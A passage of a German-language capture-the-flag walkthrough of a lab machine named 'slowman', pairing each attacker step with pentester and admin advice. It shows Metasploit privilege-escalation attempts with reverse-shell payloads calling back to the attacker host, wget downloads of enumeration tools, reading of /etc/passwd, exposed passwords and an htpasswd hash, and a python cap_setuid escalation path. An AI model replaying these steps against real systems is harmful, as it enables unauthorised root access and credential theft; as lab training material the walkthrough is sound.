Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc
                       
msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4445
lport => 4445
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The pkexec binary was not found; try populating PkexecPath "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
                        

Analyse: Das Metasploit-Modul `post/multi/recon/local_exploit_suggester` wird verwendet, um basierend auf der aktuellen Sitzung (`session 2`) nach potenziellen lokalen Privilegieneskalations-Exploits zu suchen. Nach anfänglichem Fehler (Session nicht gesetzt) wird die Sitzung konfiguriert und das Modul ausgeführt.

Bewertung: Der Suggester identifiziert drei potenziell relevante Exploits: 1. `exploit/linux/local/cve_2022_0847_dirtypipe`: Scheint anfällig zu sein (Kernel 5.15.0). 2. `exploit/linux/local/netfilter_priv_esc_ipv4`: Scheint anfällig zu sein. 3. `exploit/linux/local/su_login`: Scheint anfällig zu sein. Dies gibt konkrete nächste Schritte für die Privilegieneskalation.

Empfehlung (Pentester): Testen Sie die vorgeschlagenen Exploits systematisch, beginnend mit dem vielversprechendsten (oft Kernel-Exploits wie DirtyPipe, wenn die Version passt).
Empfehlung (Admin): Halten Sie das System (Kernel, Pakete) aktuell, um bekannte Schwachstellen wie DirtyPipe zu patchen. Überprüfen Sie die Netfilter-Konfiguration und die `su`-Implementierung.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > search suggester
Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
                      
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > use 0
msf6 post(multi/recon/local_exploit_suggester) > run
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > set lport 4445
lport => 4445
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.113 - Collecting local exploits for x86/linux...
[*] 192.168.2.113 - 188 exploit checks are being tried...
[*] Running check method for exploit 13 / 58
[+] 192.168.2.113 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.15.0
[+] 192.168.2.113 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.113 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 58 / 58
[*] 192.168.2.113 - Valid modules for session 2:


 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2022_0847_dirtypipe                        Yes                      The target appears to be vulnerable. Linux kernel version found: 5.15.0
 2   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.


[*] Post module execution completed
                      

Analyse: Der DirtyPipe-Exploit (`exploit/linux/local/cve_2022_0847_dirtypipe`) wird ausgewählt und konfiguriert (Listener-Host/Port, Session 2). Der Exploit wird gestartet.

Bewertung: Obwohl der Check zuvor positiv war, meldet der Exploit bei der Ausführung `Exploit completed, but no session was created`. Er schlägt also fehl, eine Root-Shell zu liefern, obwohl er versucht, die SUID-Datei `/bin/passwd` zu überschreiben.

Empfehlung (Pentester): DirtyPipe funktioniert hier nicht wie erwartet. Versuchen Sie die anderen vom Suggester vorgeschlagenen Exploits (`netfilter_priv_esc_ipv4`, `su_login`) oder suchen Sie nach anderen Vektoren (Capabilities, Fehlkonfigurationen).
Empfehlung (Admin): Auch wenn der Exploit hier fehlschlug, ist die Anfälligkeit laut Suggester vorhanden. Patchen Sie den Kernel, um CVE-2022-0847 zu beheben.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2022_0847_dirtypipe
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > options
Module options (exploit/linux/local/cve_2022_0847_dirtypipe):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   COMPILE           Auto             yes       Compile on target (Accepted: Auto, True, Fal
                                                se)
   SESSION                            yes       The session to run this module on
   SUID_BINARY_PATH  /bin/passwd      no        The path to a suid binary
   WRITABLE_DIR      /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
                      
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lport 4448
lport => 4448
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run
[-] Msf::OptionValidateError The following options failed to validate: SESSION
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 2
session => 2
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run
[*] Started reverse TCP handler on 192.168.2.199:4448
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.15.0
[*] Writing '/tmp/.vynenlonxzqd' (35592 bytes) ...
[*] Executing exploit '/tmp/.vynenlonxzqd /bin/passwd'
[*] Exploit completed, but no session was created.
                      
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) >

Analyse: Der Exploit `exploit/linux/local/su_login` wird ausgewählt und konfiguriert (Username `root`, Listener, Session 2). Dieser Exploit versucht, `su` zu verwenden, um eine Root-Shell zu bekommen.

Bewertung: Auch dieser Exploit schlägt fehl (`Exploit completed, but no session was created`). Die Methode funktioniert auf diesem System nicht.

Empfehlung (Pentester): Die Metasploit-Kernel-Exploits scheinen nicht zu funktionieren. Konzentrieren Sie sich auf die Enumeration von Fehlkonfigurationen, Capabilities oder anderen Vektoren.
Empfehlung (Admin): Überprüfen Sie die `su`-Konfiguration. Stellen Sie sicher, dass keine bekannten Schwachstellen in den verwendeten Login-Mechanismen vorhanden sind.

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > use exploit/linux/local/su_login
msf6 exploit(linux/local/su_login) > set USERNAME root
USERNAME => root
msf6 exploit(linux/local/su_login) > run
[-] Msf::OptionValidateError The following options failed to validate: SESSION
msf6 exploit(linux/local/su_login) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(linux/local/su_login) > set lport 4448
lport => 4448
msf6 exploit(linux/local/su_login) > set session 2
session => 2
msf6 exploit(linux/local/su_login) > run
[*] Started reverse TCP handler on 192.168.2.199:4448
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Uploading payload to target
[*] Attempting to login with su
[*] Exploit completed, but no session was created.
                       

Analyse: Zurück in der SSH-Shell als `trainerjean` wird der Inhalt des Home-Verzeichnisses aufgelistet. Die Datei `user.txt` wird gefunden und ihr Inhalt mit `cat` ausgelesen.

Bewertung: Die User-Flag `YU9et7HEpA$SwordofS10wMan!!` wird erfolgreich ausgelesen.

Empfehlung (Pentester): User-Flag gesichert. Fahren Sie mit der Suche nach dem Root-Zugriff fort.
Empfehlung (Admin): Speichern Sie Flags oder sensible Daten nicht direkt im Home-Verzeichnis von Benutzern mit niedrigen Rechten. Sichern Sie sie mit entsprechenden Berechtigungen ab.

trainerjean@slowman:~$ ls -la
total 32
drwxr-x--- 3 trainerjean trainerjean 4096 nov 23 21:44 .
drwxr-xr-x 5 root        root        4096 nov 23 21:23 ..
lrwxrwxrwx 1 root        root           9 nov 23 21:22 .bash_history -> /dev/null
-rw-r--r-- 1 trainerjean trainerjean  220 nov 22 19:29 .bash_logout
-rw-r--r-- 1 trainerjean trainerjean 3771 nov 22 19:29 .bashrc
drwx------ 2 trainerjean trainerjean 4096 nov 22 19:30 .cache
-rw-r--r-- 1 trainerjean trainerjean  807 nov 22 19:29 .profile
-rw------- 1 trainerjean trainerjean   77 nov 23 21:44 .python_history
-rw-r--r-- 1 root        root          29 nov 23 19:52 user.txt
                       
trainerjean@slowman:~$ cat user.txt
YU9et7HEpA$SwordofS10wMan!!

Analyse: Es wird in das Web-Root-Verzeichnis (`/var/www/html`) gewechselt und dessen Inhalt aufgelistet. Anschließend wird das Unterverzeichnis `/secretLGIN` betreten und dessen Inhalt angezeigt. Die PHP-Datei `l0gin.php` wird mit `cat` ausgegeben.

Bewertung: Die Dateiliste bestätigt die zuvor über Web-Enumeration gefundenen Verzeichnisse (`secretgym`, `secretLGIN`). Der Quellcode von `l0gin.php` zeigt eine serverseitige Authentifizierung. Interessanterweise prüft diese PHP-Datei auf `username = "gonzalo"` und `password = "1234"`, während die JavaScript-Datei (`l0gin.js`) dasselbe Passwort wie in der Datenbank prüfte (`tH1sS2stH3g0nz4l0pAsSWW0rDD!!`). Dies ist ein Widerspruch und deutet auf eine fehlerhafte oder veraltete Implementierung hin.

Empfehlung (Pentester): Die Diskrepanz zwischen JS und PHP ist ein Hinweis auf mögliche Schwachstellen oder Fehlkonfigurationen. Da der SSH-Login mit dem Datenbank/JS-Passwort für `gonzalo` nicht versucht wurde (nur für `trainerjean`), sollte dies nachgeholt werden. Die PHP-Logik selbst ist hier nicht direkt ausnutzbar, da sie serverseitig ist.
Empfehlung (Admin): Bereinigen Sie den Code, entfernen Sie widersprüchliche Logiken und implementieren Sie eine konsistente, sichere serverseitige Authentifizierung. Entfernen Sie hartkodierte Passwörter.

trainerjean@slowman:/var/backups$ cd /var/www/html/
trainerjean@slowman:/var/www/html$ ls -la
total 72
drwxr-xr-x 7 root root  4096 nov 23 19:17 .
drwxr-xr-x 3 root root  4096 nov 22 19:35 ..
-rw-r--r-- 1 root root  5232 nov 22 19:37 contact.html
drwxr-xr-x 2 root root  4096 sep 15  2020 css
drwxr-xr-x 2 root root  4096 sep 15  2020 images
-rw-r--r-- 1 root root 16430 nov 23 19:17 index.html
drwxr-xr-x 2 root root  4096 sep 15  2020 js
drwxr-xr-x 3 root root  4096 nov 23 19:16 secretgym
drwxr-xr-x 2 root root  4096 nov 23 19:11 secretLGIN
-rw-r--r-- 1 root root  6407 nov 23 19:17 trainer.html
-rw-r--r-- 1 root root  6115 nov 22 19:37 why.html
                       
trainerjean@slowman:/var/www/html$ cd secretLGIN/
trainerjean@slowman:/var/www/html/secretLGIN$ ls l-a
ls: cannot access 'l-a': No such file or directory
trainerjean@slowman:/var/www/html/secretLGIN$ ls -a
.  ..  l0gin.js  l0gin.php  login.css  login.html
trainerjean@slowman:/var/www/html/secretLGIN$ cat l0gin.php
<?php
// Este script podría manejar la autenticación con una base de datos, pero en este ejemplo simplemente redirigimos al usuario si las credenciales son correctas.

$user = $_POST['username']; // Korrigiert: War _PST
$password = $_POST['password']; // Korrigiert: War _PST

if ($user == "gonzalo" && $password == "1234") { // Korrigiert: War Zuweisung (=) statt Vergleich (==)
    // Credenciales correctas, redirigir al usuario
    header("Location: /secretgym/");
    exit;
} else {
    // Credenciales incorrectas
    echo "Incorrect user or password!";
}
?>
                       

Analyse: Es wird versucht, mit `su` zum Benutzer `gonzalo` zu wechseln und sich als `gonzalo` bei MySQL anzumelden. Beides schlägt fehl.

Bewertung: Der Benutzer `trainerjean` kennt das Passwort für `gonzalo` nicht (bzw. das Datenbankpasswort funktioniert nicht für `su`), und der MySQL-Benutzer `gonzalo` hat keine Login-Berechtigungen von `localhost`.

Empfehlung (Pentester): Der direkte Wechsel zu `gonzalo` ist nicht möglich. Der SSH-Login als `gonzalo` mit dem Datenbank/JS-Passwort sollte jedoch versucht werden (falls noch nicht geschehen).
Empfehlung (Admin): Korrekte Konfiguration, dass Benutzer nicht einfach wechseln können und MySQL-Berechtigungen restriktiv sind.

trainerjean@slowman:/var/www/html/secretLGIN$ su gonzalo
Password:
su: Authentication failure
                       
trainerjean@slowman:/var/www/html/secretLGIN$ mysql -u gonzalo -p
Enter password:
ERROR 1045 (28000): Access denied for user 'gonzalo'@'localhost' (using password: YES)
                        

Analyse: Die Berechtigungen der `/etc/passwd`-Datei werden angezeigt und ihr Inhalt mit `cat` ausgegeben.

Bewertung: Die Datei ist für alle lesbar. Sie listet die Systembenutzer auf, darunter `trainerjeff` (UID 1001), `trainerjean` (UID 1002) und `gonzalo` (UID 1003), alle mit `/bin/bash` als Shell. Der aktuelle Benutzer wird mit `id` bestätigt.

Empfehlung (Pentester): Die Benutzerliste bestätigt die gefundenen Namen. Keine direkten Schwachstellen hier.
Empfehlung (Admin): Standardkonfiguration. Sicherstellen, dass keine sensiblen Informationen in den GECOS-Feldern der `passwd`-Datei stehen.

trainerjean@slowman:/var/www/html/secretLGIN$ ll /etc/passwd
-rw-r--r-- 1 root root 2084 nov 23 21:23 /etc/passwd
trainerjean@slowman:/var/www/html/secretLGIN$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
trainerjeff:x:1001:1001:trainerjeff,,,:/home/trainerjeff:/bin/bash
trainerjean:x:1002:1002:trainerjean,,,:/home/trainerjean:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
gonzalo:x:1003:1003:gonzalo,,,:/home/gonzalo:/bin/bash
ftp:x:115:121:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
                       
trainerjean@slowman:/var/www/html/secretLGIN$ id
uid=1002(trainerjean) gid=1002(trainerjean) groups=1002(trainerjean)

Analyse: Auf dem Angreifer-System wird ein einfacher Python-HTTP-Server gestartet, um Dateien an das Zielsystem zu übertragen. Auf dem Zielsystem wird `wget` verwendet, um das Tool `pspy64` (ein Prozess-Monitor) vom Angreifer herunterzuladen. Die Datei wird ausführbar gemacht (`chmod +x`) und gestartet.

Bewertung: Der Dateitransfer ist erfolgreich. `pspy` wird gestartet und beginnt, laufende Prozesse aufzulisten. Es zeigt Standard-Systemprozesse und die SSH-Verbindung des Benutzers `trainerjean`.

Empfehlung (Pentester): Lassen Sie `pspy` im Hintergrund laufen und beobachten Sie die Ausgabe auf ungewöhnliche Prozesse oder Cronjobs, die als Root ausgeführt werden und möglicherweise manipuliert werden können. Suchen Sie nach Prozessen, die mit hohen Rechten starten und auf Benutzereingaben oder Dateien reagieren.
Empfehlung (Admin): Überwachen Sie Dateidownloads auf Servern. Beschränken Sie die Möglichkeit, beliebige Programme auszuführen. Prozess-Monitoring auf verdächtige Aktivitäten.

┌──(root㉿cyber)-[~/Hackingtools] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.113 - - [05/Dec/2023 16:36:41] "GET /pspy64 HTTP/1.1" 200 -
                      
trainerjean@slowman:/tmp$ wget 192.168.2.199/pspy64
--2023-12-05 15:36:43--  http://192.168.2.199/pspy64
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                  100%[===================>]   2.94M  --.-KB/s    in 0.01s

2023-12-05 15:36:43 (303 MB/s) - ‘pspy64’ saved [3078592/3078592]
                       
trainerjean@slowman:/tmp$ chmod +x pspy64
trainerjean@slowman:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░ ██▒▒██    ▒ ▓██░ ██▒▒██  ██▒
    ▓██░ ██▓▒░▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ██▒▓░
    ▒▓▒░ ░  ▒ ▒▓▒ ▒ ░▒▓▒░ ░   ██▒▒▒
    ░▒ ░    ░ ░▒ ▒ ░  ░▒ ░    ▓██ ░▒░
    ░░        ░ ░ ░    ░░      ▒ ▒ ░░
                                ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/12/05 15:37:13 CMD: UID=0    PID=99     |
2023/12/05 15:37:13 CMD: UID=0    PID=98     |
2023/12/05 15:37:13 CMD: UID=0    PID=96     |
2023/12/05 15:37:13 CMD: UID=0    PID=94     |
2023/12/05 15:37:13 CMD: UID=0    PID=93     |
2023/12/05 15:37:13 CMD: UID=0    PID=112    |
2023/12/05 15:37:13 CMD: UID=1002 PID=1115   | (sd-pam)
2023/12/05 15:37:13 CMD: UID=1002 PID=1114   | /lib/systemd/systemd --user
2023/12/05 15:37:13 CMD: UID=0    PID=1111   | sshd: trainerjean [priv]
2023/12/05 15:37:13 CMD: UID=0    PID=111    |
2023/12/05 15:37:13 CMD: UID=0    PID=11     |
2023/12/05 15:37:13 CMD: UID=0    PID=1099   |
2023/12/05 15:37:13 CMD: UID=0    PID=108    |
2023/12/05 15:37:13 CMD: UID=0    PID=10     |
2023/12/05 15:37:13 CMD: UID=0    PID=1      | /sbin/init
^CExiting program... (interrupt)
                        

Analyse: Das bekannte Linux-Enumerationsskript `linpeas.sh` wird vom Angreifer-Server heruntergeladen (`wget`), ausführbar gemacht (`chmod +x`) und gestartet.

Bewertung: Linpeas beginnt mit der umfassenden Sammlung von Systeminformationen zur Identifizierung von Privilegieneskalationsvektoren. Die gezeigte Ausgabe ist nur der Anfangsbanner und ein kleiner Ausschnitt. Wichtige Funde in diesem Ausschnitt sind: * Die Datei `/etc/apache2/.htpasswd` existiert und enthält einen Apache-Hash (`$apr1$...`) für den Benutzer `gonzalo`. * Die Capability `cap_setuid=ep` wird für `/usr/bin/python3.10` gefunden. Dies ist ein bekannter und oft erfolgreicher Vektor zur Privilegieneskalation.

Empfehlung (Pentester): Der gefundene Apache-Hash kann versucht werden zu knacken (obwohl das Passwort für `gonzalo` bereits bekannt ist). Die `cap_setuid`-Capability für Python ist der vielversprechendste Fund und sollte sofort ausgenutzt werden (siehe GTFOBins für Python Capabilities).
Empfehlung (Admin): Entfernen Sie unnötige Capabilities von Binärdateien (`setcap -r /usr/bin/python3.10`). Sichern Sie `.htpasswd`-Dateien angemessen und verwenden Sie starke Hashing-Methoden.

trainerjean@slowman:/tmp$ wget 192.168.2.199/linpeas.sh
--2023-12-05 15:38:51--  http://192.168.2.199/linpeas.sh
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 827827 (808K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh              100%[===================>] 808.42K  --.-KB/s    in 0.004s

2023-12-05 15:38:51 (222 MB/s) - ‘linpeas.sh’ saved [827827/827827]
                       
trainerjean@slowman:/tmp$ chmod +x linpeas.sh
trainerjean@slowman:/tmp$ ./linpeas.sh
[...]
    ╔═══════════╣ Basic System information
    ╚ https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation#basic-information
    Linux Version: Linux slowman 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64
    Distro: Ubuntu 22.04.3 LTS (Jammy Jellyfish)
    [...]
    ╔══════════╣ Capabilities
    ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
    Files with capabilities (limited to 50):
    /snap/core20/2015/usr/bin/ping cap_net_raw=ep
    /snap/core20/1974/usr/bin/ping cap_net_raw=ep
    /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
    /usr/bin/python3.10 cap_setuid=ep
    /usr/bin/mtr-packet cap_net_raw=ep
    /usr/bin/ping cap_net_raw=ep
    [...]
    ╔══════════╣ Analyzing Htpasswd Files (limit 70)
    -rw-r--r-- 1 root root 46 nov 23 16:50 /etc/apache2/.htpasswd
    gonzalo:$apr1$CGeKHP0L$HbmXayPsI4aWI/3p7pd6B/
    [...]
                        

Analyse: Der Befehl `getcap -r / 2>/dev/null` wird ausgeführt, um rekursiv alle Dateien im Dateisystem zu finden, die Capabilities gesetzt haben.

Bewertung: Bestätigt den Fund von Linpeas: `/usr/bin/python3.10` hat die Capability `cap_setuid=ep` (effective, permitted). Dies erlaubt Python-Skripten, die User-ID zu ändern.

Empfehlung (Pentester): Dies ist der klare Weg zur Privilegieneskalation. Verwenden Sie einen Python-Einzeiler, um `os.setuid(0)` aufzurufen und eine Root-Shell zu starten.
Empfehlung (Admin): Entfernen Sie die `cap_setuid`-Capability von Python, wenn sie nicht zwingend benötigt wird (`setcap -r /usr/bin/python3.10`).

trainerjean@slowman:/tmp$ getcap -r / 2>/dev/null
/snap/core20/2015/usr/bin/ping cap_net_raw=ep
/snap/core20/1974/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/python3.10 cap_setuid=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
                       

Analyse: Es wird versucht, die Capability mit `setcap -r` zu entfernen.

Bewertung: Der Befehl schlägt fehl (`Operation not permitted`), da der Benutzer `trainerjean` nicht die notwendigen Rechte (insbesondere `CAP_SETPCAP`) hat, um Capabilities zu ändern.

Empfehlung (Pentester): Dies war nur ein Test, der zeigt, dass die Capability nicht einfach entfernt werden kann. Fahren Sie mit der Ausnutzung fort.
Empfehlung (Admin): Capabilities können nur von Root oder Prozessen mit `CAP_SETPCAP` geändert werden.

trainerjean@slowman:/tmp$ setcap -r /usr/bin/python3.10
unable to set CAP_SETFCAP effective capability: Operation not permitted

Analyse: Erneute Suche nach SUID-Dateien mit `find / -perm -u=s -type f 2>/dev/null`.

Bewertung: Liefert dieselbe Liste wie zuvor. Keine neuen Erkenntnisse.

Empfehlung (Pentester): Redundanter Befehl, Konzentration auf die Python-Capability.
Empfehlung (Admin): Keine neue Aktion erforderlich.

trainerjean@slowman:/tmp$ find / -perm -u=s -type f 2>/dev/null
/snap/core20/2015/usr/bin/chfn
/snap/core20/2015/usr/bin/chsh
[...]
/usr/bin/umount
/usr/libexec/polkit-agent-helper-1
                       

Analyse: Versuche, mit `sudo su` oder `su` Root zu werden.

Bewertung: Schlagen fehl, da `trainerjean` keine sudo-Rechte hat und das Root-Passwort nicht bekannt ist.

Empfehlung (Pentester): Standardversuche, die hier nicht funktionieren. Fokus auf Python-Capability.
Empfehlung (Admin): Korrekte Konfiguration.

trainerjean@slowman:/tmp$ sudo su
[sudo] password for trainerjean:
trainerjean is not in the sudoers file.  This incident will be reported.
                       
trainerjean@slowman:/tmp$ su
Password:
su: Authentication failure
                       

Analyse: Erkundung des `~/snap/lxd`-Verzeichnisses. Dies ist ein häufiger Ort für LXD-basierte Privilegieneskalation.

Bewertung: Die Verzeichnisstruktur wird aufgelistet, aber es werden keine offensichtlich ausnutzbaren Konfigurationen oder Gruppen

Analyse: Erkundung des `~/snap/lxd`-Verzeichnisses. Dies ist ein häufiger Ort für LXD-basierte Privilegieneskalation, wenn der Benutzer Mitglied der `lxd`-Gruppe ist.

Bewertung: Die Verzeichnisstruktur wird aufgelistet, aber es werden keine offensichtlich ausnutzbaren Konfigurationen oder Gruppenmitgliedschaften geprüft (z.B. mit `id`). Ohne Mitgliedschaft in der `lxd`-Gruppe ist dieser Pfad normalerweise nicht direkt zur Eskalation nutzbar.

Empfehlung (Pentester): Prüfen Sie die Gruppenzugehörigkeit des Benutzers (`id`). Wenn der Benutzer nicht in der `lxd`-Gruppe ist, ist dieser Vektor wahrscheinlich nicht gangbar. Konzentrieren Sie sich auf die Python-Capability.
Empfehlung (Admin): Stellen Sie sicher, dass nur berechtigte Benutzer Mitglied der `lxd`-Gruppe sind.

trainerjean@slowman:~$ ls
py.py  snap  user.txt
trainerjean@slowman:~$ cd snap/
trainerjean@slowman:~/snap$ ls l-a
ls: cannot access 'l-a': No such file or directory
trainerjean@slowman:~/snap$ ll
total 12
drwx------ 3 trainerjean trainerjean 4096 dic  5 15:39 ./
drwxr-x--- 5 trainerjean trainerjean 4096 dic  5 15:39 ../
drwxr-xr-x 4 trainerjean trainerjean 4096 dic  5 15:39 lxd/
                       
trainerjean@slowman:~/snap$ cd lxd/
trainerjean@slowman:~/snap/lxd$ #^C
trainerjean@slowman:~/snap/lxd$ ll
total 16
drwxr-xr-x 4 trainerjean trainerjean 4096 dic  5 15:39 ./
drwx------ 3 trainerjean trainerjean 4096 dic  5 15:39 ../
drwxr-xr-x 2 trainerjean trainerjean 4096 dic  5 15:39 24322/
drwxr-xr-x 3 trainerjean trainerjean 4096 dic  5 15:39 common/
lrwxrwxrwx 1 trainerjean trainerjean    5 dic  5 15:39 current -> 24322/
                        
trainerjean@slowman:~/snap/lxd$ cd 24322/
trainerjean@slowman:~/snap/lxd/24322$ ll
total 8
drwxr-xr-x 2 trainerjean trainerjean 4096 dic  5 15:39 ./
drwxr-xr-x 4 trainerjean trainerjean 4096 dic  5 15:39 ../
                        
trainerjean@slowman:~/snap/lxd/24322$ cd ..
trainerjean@slowman:~/snap/lxd$ cd common/
trainerjean@slowman:~/snap/lxd/common$ ll
total 12
drwxr-xr-x 3 trainerjean trainerjean 4096 dic  5 15:39 ./
drwxr-xr-x 4 trainerjean trainerjean 4096 dic  5 15:39 ../
drwxrwxr-x 2 trainerjean trainerjean 4096 dic  5 15:39 config/
                        
trainerjean@slowman:~/snap/lxd/common$ cd config/
trainerjean@slowman:~/snap/lxd/common/config$ ll
total 12
drwxrwxr-x 2 trainerjean trainerjean 4096 dic  5 15:39 ./
drwxr-xr-x 3 trainerjean trainerjean 4096 dic  5 15:39 ../
-rw-rw-r-- 1 trainerjean trainerjean  188 dic  5 15:39 config.yml
                        
trainerjean@slowman:~/snap/lxd/common/config$ cat config.yml
default-remote: local
remotes:
  images:
    addr: https://images.linuxcontainers.org
    protocol: simplestreams
    public: true
  local:
    addr: unix://
    public: false
aliases: {}
                        

Analyse: Es wird versucht, sich lokal als Benutzer `trainerjean` am MySQL-Server auf dem alternativen Port 33060 anzumelden.

Bewertung: Der Zugriff wird verweigert (`Access denied for user 'trainerjean'@'localhost'`). Der Benutzer `trainerjean` hat keine Berechtigung, sich an diesem MySQL-Port anzumelden.

Empfehlung (Pentester): Dieser Port scheint keine einfache Angriffsfläche zu bieten. Fokus auf andere Methoden.
Empfehlung (Admin): Stellen Sie sicher, dass Datenbankberechtigungen korrekt und restriktiv gesetzt sind.

trainerjean@slowman:/var/www/html/secretgym/serverSHARE$ mysql -u trainerjean --port=33060 -p
Enter password:
ERROR 1045 (28000): Access denied for user 'trainerjean'@'localhost' (using password: YES)
                       

Analyse: Mit `grep -Ri "password" /* 2>/dev/null` wird versucht, rekursiv im gesamten Dateisystem nach Dateien zu suchen, die das Wort "password" (case-insensitive) enthalten. Fehlermeldungen werden unterdrückt.

